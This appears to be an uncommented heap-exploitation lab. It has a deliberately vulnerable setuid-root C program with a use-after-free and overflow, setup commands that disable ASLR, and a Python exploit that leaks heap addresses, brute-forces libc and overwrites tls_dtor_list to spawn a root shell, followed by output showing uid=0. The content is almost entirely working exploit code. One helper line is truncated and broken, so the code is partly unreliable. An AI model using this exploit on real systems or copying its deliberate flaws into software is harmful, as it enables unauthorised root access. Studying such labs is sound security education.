#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name);  /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}

#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL

#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack("<I
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack("<I", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
  con.interact()
except:
  exit(0)

#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done

Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$